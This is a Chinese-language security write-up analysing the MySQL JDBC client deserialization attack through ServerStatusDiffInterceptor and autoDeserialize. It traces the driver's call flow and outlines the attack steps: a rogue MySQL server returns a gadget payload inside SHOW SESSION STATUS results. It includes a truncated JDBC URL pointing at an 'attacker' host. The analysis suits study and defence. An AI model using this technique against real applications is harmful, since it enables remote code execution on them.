前言
最近学习java的时候看到了这样一篇文章,内容是mysql-jdbc的反序列化利用。该漏洞只需要能够控制客户端的jdbc链接,在链接阶段就可以进行处发反序列化,于是开始了进一步研究。
JDBC
JDBC(Java Data Base Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现。也就是说我们通常会使用JDBC接口会做三件事:
1、链接数据库
2、执行数据库语句
3、JDBC返回数据库的执行结果
JDBC对mysql连接形式为:1
jdbc:mysql://127.0.0.1:3306/mysql?user=root&pass=root
在?后可跟多个可选的参数
MySQL JDBC 反序列化
在该blackhat的议题中提到了使用ServerStatusDiffInterceptor的方式去触发。提供了两个参数:
1 | autoDeserialize // 驱动程序是否应该自动检测和反序列化存储在BLOB字段中的对象 |
随后提供了利用链路及方法:
1 | jdbc:mysql://attacker/db? |
当攻击者部署了恶意的mysql服务器,并且在可控的JDBC链接处将该payload发送过去,就会将payload执行的结果返回回来。接下来需要看该攻击是如何实现的。这里在本地使用payload的时候发现触发了4次接下来将分析如何触发该利用链,以及为何触发了4次。
反序列化分析
这里为了更深入的了解我跟了下jdbc连接数据库的流程:
在数据库连接时会调用getConnection()方法去建立了连接,在com.mysql.cj.conf.ConnectionUrlParser将所有的参数进行分割。
1 | scheme 数据库的连接类型 |
随后又将query的内容进行分割,传入com.mysql.cj.jdbc.ConnectionImpl对propertySet进行设置。
之后会与mysql进行初始连接,在NativeSession.class里会获取当前mysql的环境然后会触发一次查询”SET NAMES utf”
随后会调用com.mysql.cj.protocol.a.NativeProtocol类中的sendQueryString,而在上述的利用链中我们可以得知在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor中的preProcess及postProcess都会触发populateMapWithSessionStatusValues这个方法,而这个方法才是调用readObject方法的前置处罚点。这里可以看到sendQueryString方法中有两个地方分别调用了preProces和postProcess方法
1 | if (this.queryInterceptors != null) { |
在第一次触发查询后会进入该方法调用invokeQueryInterceptorsPre()从而触发preProcess()方法
随后执行了”SHOW SESSION STATUS” resultSetToMap中触发了getObject(),反序列化的数据就是执行”SHOW SESSION STATUS”查询的返回集。
跟入com.mysql.cj.jdbc.result.ResultSetImpl#getObject 可以看到反序列化的触发点,当传入的数据为BLOB类型的时候会进行反序列化
这里第一次触发了反序列化,接下来会触发SET autocommit=1查询。
然后又会进入NativeProtocol#sendQueryString,这里会触发一次postProcess
随后服务器因为执行了SHOW SESSION STATUS 会触发一次preProcess()
进而在触发SET sql_mode=’STRICT_TRANS_TABLES’查询
然后进入NativeProtocol#sendQueryString触发一次postProcess
至此整个流程结束。整个利用方法就明白了:
1、在环境中有可利用的gadget。
2、本地搭建恶意的mysql服务器,想办法修改SHOW SESSION STATUS返回集中的某个value,改为我们使用gadget生成的payload。
3、在可控的jdbc连接处发送连接恶意服务器的请求。
4、反序列化触发。
这里SHOW SESSION STATUS读取的是系统表INFORMATION_SCHEMA.SESSION_STATUS的值,但是系统表是不允许修改的,所以需要想办法操纵返回的数据。可以参考也可以直接使用fnmsd师傅开发的工具。
这里在学习的过程中发现师傅们还发现了另外一条链路在mysql cj的库为5.x的时候使用detectCustomCollations触发,由于该链路触发的方式和8.x触发的方式不一样,是使用的SHOW COLLATION只触发了一次反序列化,有兴趣的师傅们可以去看一下,这里大家可以参考
https://www.anquanke.com/post/id/203086 fnmsd师傅给出了不同版本的mysql cj的利用方式。
参考文章
https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
https://www.anquanke.com/post/id/203086